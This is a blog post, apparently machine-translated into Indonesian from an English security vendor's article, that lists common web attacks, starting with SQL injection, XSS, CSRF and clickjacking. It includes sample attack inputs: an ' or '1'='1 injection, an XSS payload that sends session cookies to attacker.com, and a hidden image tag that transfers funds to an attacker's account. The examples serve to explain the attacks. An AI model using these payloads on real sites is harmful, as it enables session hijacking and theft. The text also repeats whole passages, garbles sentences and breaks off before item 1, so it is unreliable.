(Mereka baru saja diretas)
(Ya, hacking adalah ancaman yang berkembang untuk setiap bisnis baik besar maupun kecil.)
(Entah itu mencuri data pribadi, mengendalikan komputer Anda, atau mematikan situs Anda, peretas dapat secara serius memengaruhi bisnis apa pun, kapan saja. Defencely telah menjalankan analisis karena keberadaannya pada berbagai kemungkinan vektor serangan dan karenanya telah terbukti dengan catatan keamanan aplikasi web di India dan saat ini sedang berlangsung secara global. Ada beberapa spesifik tentang Defencely yang telah bekerja untuk membuat sebuah nama di portofolio CIO karena kesuksesannya yang luar biasa dengan Security Technology Information sebagai penyedia layanan. Yang takjub, Defencely tidak hanya bertahan dengan kliennya di masa lalu, tapi sekarang telah memberikan penelitian mendasar untuk semua kliennya dengan kiriman khusus yang diberikan layanan dari Defencely telah diikutsertakan. Tapi ada sisi lain, yang telah dipilih oleh Defencely untuk memilih kemajuan dunia web, dan ini MEMBENTUK HUTAN ETIKA yang membuat jalannya melalui dunia bisnis perusahaan dan menyediakan layanan keamanan mendalam untuk perlindungan keamanan web secara keseluruhan terhadapnya. Klien yang berharga Terlepas dari masing-masing layanan yang diberikan oleh Defencely, ia mempertahankan standar yang bijaksana terhadap Bug Hunting dan karenanya merupakan keunggulan yang terbukti untuk kiriman kualitasnya yang dimiliki oleh Pakar Keamanan Tim Merah. Tim merah telah mengambil tanggung jawab untuk mewakili Defencely dalam berbagai ucapan, entah itu mengenai menyebarkan masalah keamanan informasi, menghadiri konferensi keamanan informasi untuk memberikan tangan industri bebas biaya pada tes penetrasi untuk pendekatan awal dan ini saja telah menghasilkan pengurangan yang bijaksana. Bagaimana keamanan bisa menjadi ilusi bagi dunia usaha dan bagaimana bisnis bisa hancur semalaman.)
(Hacker dapat menyerang dengan berbagai cara, tapi inilah sepuluh cara paling populer yang dapat mengancam keamanan situs Anda, dan bisnis Anda:)
10. INJECTION ATTACKS
(Injection Attacking terjadi ketika ada kekurangan pada Database SQL, SQL libraries, atau bahkan sistem operasi itu sendiri. Karyawan membuka file yang tampaknya kredibel dengan perintah tersembunyi, atau "suntikan", tanpa sadar.)
(Dengan melakukannya, mereka telah memungkinkan peretas mendapatkan akses tidak sah ke data pribadi seperti nomor jaminan sosial, nomor kartu kredit atau data keuangan lainnya.)
TECHNICAL INJECTION ATTACK EXAMPLE:
An Injection Attack could have this command line(Sebuah Injection Attack bis memiliki command line ini)
String query = “SELECT * FROM accounts WHERE custID='” + request.getParameter(“id”) +”‘”;
(Si hacker memodifikasi parameter 'id' di browser mereka untuk mengirim: 'atau' 1 '=' 1. Ini mengubah makna kueri untuk mengembalikan semua catatan dari basis data akun ke peretas, bukan hanya pelanggan yang dimaksud.)
9. CROSS SITE SCRIPTING ATTACKS
(Cross Site Scripting, juga dikenal sebagai serangan XSS, terjadi ketika sebuah aplikasi, url "get request", atau paket file dikirim ke jendela browser web dan melewati proses validasi. Setelah skrip XSS dipicu, properti yang menipu membuat pengguna yakin bahwa laman yang dikompromikan dari situs web tertentu adalah sah.)
(Misalnya, jika www.example.com/abcd.html memiliki skrip XSS di dalamnya, pengguna mungkin melihat jendela munculan yang meminta info kartu kredit dan info sensitif lainnya.)
TECHNICAL CROSS SITE SCRIPTING EXAMPLE:
A more technical example:
Contoh yang lebih teknis:
Contoh yang lebih teknis:
(String) page += “<input name=’creditcard’ type=’TEXT’ value='” + request.getParameter(“CC”) + “‘>”;
(Serangan tersebut mengubah parameter 'CC' di browser mereka menjadi:
‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’
Hal ini menyebabkan ID sesi pengguna dikirim ke situs web penyerang, yang memungkinkan si hacker membajak sesi pengguna saat ini. Itu berarti hacker memiliki akses ke kredensial admin situs web dan dapat mengambil kendali penuh atas hal itu. Dengan kata lain, hack itu.
8. BROKEN AUTHENTICATION AND SESSION MANAGEMENT ATTACKS
(Jika sistem otentikasi pengguna situs Anda lemah, peretas bisa memanfaatkan sepenuhnya.)
(Sistem otentikasi melibatkan kata sandi, manajemen kunci, ID sesi, dan cookies yang memungkinkan hacker mengakses akun Anda dari komputer mana pun (selama validasinya).
(Jika seorang hacker memanfaatkan sistem manajemen otentikasi dan sesi, mereka dapat menganggap identitas pengguna.)
Scary indeed.
(Menakutkan memang)
(Menakutkan memang)
(Tanyakan pada diri Anda pertanyaan-pertanyaan ini untuk mengetahui apakah situs Anda rentan terhadap serangan otentikasi dan sesi manajemen yang rusak:
- ~Apakah kredensial pengguna lemah (misalnya disimpan menggunakan hashing atau enkripsi)?
~Dapatkah kredensial ditebak atau ditimpa oleh fungsi pengelolaan akun yang lemah (misalnya pembuatan akun, ganti kata sandi, pemulihan kata sandi, ID sesi lemah)?
~Apakah ID sesi terpapar di URL (misalnya penulisan ulang URL)?
~Apakah ID sesi rentan terhadap serangan fiksasi sesi?
~Apakah sesi sesi timeout dan bisa pengguna log out?
Jika Anda menjawab "ya" untuk pertanyaan-pertanyaan ini, situs Anda bisa rentan terhadap hacker
7. CLICKJACKING ATTACKS
Clickjacking, juga disebut UI Redress Attack, adalah ketika seorang hacker menggunakan beberapa lapisan buram untuk mengelabui pengguna agar mengklik lapisan paling atas tanpa mereka sadari.
Dengan demikian penyerang adalah "pembajakan" klik yang tidak dimaksudkan untuk halaman yang sebenarnya, tapi untuk halaman dimana penyerang menginginkannya.
Misalnya, dengan menggunakan kombinasi stylesheet, iframe, dan kotak teks yang dibuat dengan hati-hati, pengguna dapat dipercaya untuk mengetikkan kata sandi untuk rekening bank mereka, namun sebenarnya mengetik ke dalam bingkai tak terlihat yang dikendalikan oleh penyerang.
CLICKJACKING EXAMPLE:
Inilah contoh hidup, tapi aman tentang bagaimana kerja clickjacking:http://attacker.kotowicz.net/alphabet-hero/game.html
Dan inilah video yang menunjukkan bagaimana kami membantu Twitter bertahan melawan serangan Clickjacking:
Dan inilah video yang menunjukkan bagaimana kami membantu Twitter bertahan melawan serangan Clickjacking:
Pop quiz: what does Microsoft, Twitter, Facebook, NBC, ZenDesk, and Drupal all have in common?
Kuis Pop: apa yang dilakukan Microsoft, Twitter, Facebook, NBC, ZenDesk, dan Drupal?
Kuis Pop: apa yang dilakukan Microsoft, Twitter, Facebook, NBC, ZenDesk, dan Drupal?
Mereka baru saja diretas.
Ya, hacking adalah ancaman yang berkembang untuk setiap bisnis baik besar maupun kecil.
Entah itu mencuri data pribadi, mengendalikan komputer Anda, atau mematikan situs Anda, peretas dapat secara serius memengaruhi bisnis apa pun, kapan saja. Defencely telah menjalankan analisis karena keberadaannya pada berbagai kemungkinan vektor serangan dan karenanya telah terbukti dengan catatan keamanan aplikasi web di India dan saat ini sedang berlangsung secara global. Ada beberapa spesifik tentang Defencely yang telah bekerja untuk membuat sebuah nama di portofolio CIO karena kesuksesannya yang luar biasa dengan Security Technology Information sebagai penyedia layanan. Yang takjub, Defencely tidak hanya bertahan dengan kliennya di masa lalu, tapi sekarang telah memberikan penelitian mendasar untuk semua kliennya dengan kiriman khusus yang diberikan layanan dari Defencely telah diikutsertakan. Tapi ada sisi lain, yang telah dipilih oleh Defencely untuk memilih kemajuan dunia web, dan ini MEMBENTUK HUTAN ETIKA yang membuat jalannya melalui dunia bisnis perusahaan dan menyediakan layanan keamanan mendalam untuk perlindungan keamanan web secara keseluruhan terhadapnya. Klien yang berharga Terlepas dari masing-masing layanan yang diberikan oleh Defencely, ia mempertahankan standar yang bijaksana terhadap Bug Hunting dan karenanya merupakan keunggulan yang terbukti untuk kiriman kualitasnya yang dimiliki oleh Pakar Keamanan Tim Merah. Tim merah telah mengambil tanggung jawab untuk mewakili Defencely dalam berbagai ucapan, entah itu mengenai menyebarkan masalah keamanan informasi, menghadiri konferensi keamanan informasi untuk memberikan tangan industri bebas biaya pada tes penetrasi untuk pendekatan awal dan ini saja telah menghasilkan pengurangan yang bijaksana. Bagaimana keamanan bisa menjadi ilusi bagi dunia usaha dan bagaimana bisnis bisa hancur semalaman.
Hacker dapat menyerang dengan berbagai cara, tapi inilah sepuluh cara paling populer yang dapat mengancam keamanan situs Anda, dan bisnis Anda:
6. DNS CACHE POISONING
Keracunan Cache DNS melibatkan data cache lama yang menurut Anda tidak lagi ada di komputer Anda, namun sebenarnya "beracun".
Juga dikenal sebagai DNS Spoofing, hacker dapat mengidentifikasi kerentanan dalam sistem nama domain, yang memungkinkan mereka mengalihkan lalu lintas dari server legit ke situs web palsu dan / atau server.
Bentuk serangan ini bisa menyebar dan mereplikasi dirinya dari satu server DNS ke DNS lain, "meracuni segala sesuatu di jalan itu.
Sebenarnya, pada tahun 2010, serangan keracunan DNS benar-benar membahayakan Great Firewall of China (GFC) untuk sementara dan menyensor konten tertentu di Amerika Serikat sampai masalahnya terpecahkan.
Bentuk serangan ini bisa menyebar dan mereplikasi dirinya dari satu server DNS ke DNS lain, "meracuni segala sesuatu di jalan itu.
5. SOCIAL ENGINEERING ATTACKS
A social engineering attack is not technically a “hack”.
Serangan rekayasa sosial secara teknis bukanlah "hack".
IIni terjadi saat Anda membocorkan informasi pribadi dengan itikad baik, seperti nomor kartu kredit, melalui interaksi online yang umum seperti email, obrolan, situs media sosial, atau hampir situs web apa pun.
Masalahnya, tentu saja, adalah Anda tidak mengerti apa yang Anda pikirkan.
Contoh klasik dari serangan rekayasa sosial adalah penipuan "dukungan teknologi Microsoft".
Ini terjadi ketika seseorang dari call center berpura-pura menjadi anggota dukungan teknis MS yang mengatakan bahwa komputer Anda lamban dan / atau terinfeksi, dan dapat diperbaiki dengan mudah - dengan biaya, tentu saja.
Here’s an article from Wired.com
Berikut adalah artikel dari Wired.com tentang bagaimana seorang pakar keamanan bermain bersama dengan apa yang disebut orang dukungan teknis Microsoft.
Serangan rekayasa sosial secara teknis bukanlah "hack".
Berikut adalah artikel dari Wired.com tentang bagaimana seorang pakar keamanan bermain bersama dengan apa yang disebut orang dukungan teknis Microsoft.
4. SYMLINKING – AN INSIDER ATTACK
Sebuah symlink pada dasarnya adalah file khusus yang "menunjuk ke" sebuah hard link pada sistem file yang terpasang. Serangan symlink terjadi ketika seorang hacker memposisikan symlink sedemikian rupa sehingga pengguna atau aplikasi yang mengakses titik akhir berpikir bahwa mereka mengakses file yang benar padahal sebenarnya tidak.
Jika file endpoint adalah output, konsekuensi dari serangan symlink adalah bahwa hal itu dapat dimodifikasi alih-alih file di lokasi yang diinginkan. Modifikasi pada file endpoint bisa mencakup menambahkan, menimpa, merusak, atau bahkan mengubah perizinan.
Dalam variasi yang berbeda dari serangan symlink, hacker mungkin dapat mengendalikan perubahan pada sebuah file, memberikan akses lanjutan, memasukkan informasi palsu, mengungkapkan informasi sensitif atau merusak atau menghancurkan file sistem atau aplikasi penting.
3. CROSS SITE REQUEST FORGERY ATTACKS
Permintaan Permintaan Lapang Forgery Attack terjadi saat pengguna masuk ke sesi (atau akun) dan peretas menggunakan kesempatan ini untuk mengirimkan permintaan HTTP palsu untuk mengumpulkan informasi cookie mereka.
Dalam kebanyakan kasus, cookie tetap berlaku selama pengguna atau penyerang tetap masuk ke akun. Inilah sebabnya mengapa situs web meminta Anda untuk keluar dari akun Anda saat selesai - segera akan segera berakhir sesi.
Dalam kasus lain, saat sesi peramban pengguna disusupi, peretas dapat mengajukan permintaan ke aplikasi yang tidak dapat membedakan pengguna yang valid dan peretas.
Dalam kasus lain, saat sesi peramban pengguna disusupi, peretas dapat mengajukan permintaan ke aplikasi yang tidak dapat membedakan pengguna yang valid dan peretas.
A CROSS SITE ATTACK EXAMPLES
Here’s an example:
Inilah contohnya:
<img src=”<span style=”color: red;”>http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />
Dalam kasus ini, hacker menciptakan permintaan yang akan mentransfer uang dari akun pengguna, dan kemudian menyematkan serangan ini dalam permintaan gambar atau iframe yang tersimpan di berbagai situs di bawah kendali penyerang.
Inilah contohnya:
2. REMOTE CODE EXECUTION ATTACKS
Serangan Eksekusi Kode Jarak Jauh merupakan hasil kelemahan sisi server atau sisi klien.
Komponen yang rentan dapat mencakup perpustakaan, direktori jarak jauh di server yang belum dipantau, kerangka kerja, dan modul perangkat lunak lainnya yang dijalankan berdasarkan akses pengguna yang terotentikasi. Aplikasi yang menggunakan komponen ini selalu diserang melalui hal-hal seperti script, malware, dan command line kecil yang mengekstrak informasi.
The following vulnerable components were downloaded 22 million times in 2011:
Komponen rentan berikut diunduh 22 juta kali di tahun 2011:
Apache CXF Authentication Bypass (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)
Dengan gagal memberikan tanda identitas, penyerang dapat meminta layanan web dengan izin penuh.
Komponen rentan berikut diunduh 22 juta kali di tahun 2011:
Tidak ada komentar:
Posting Komentar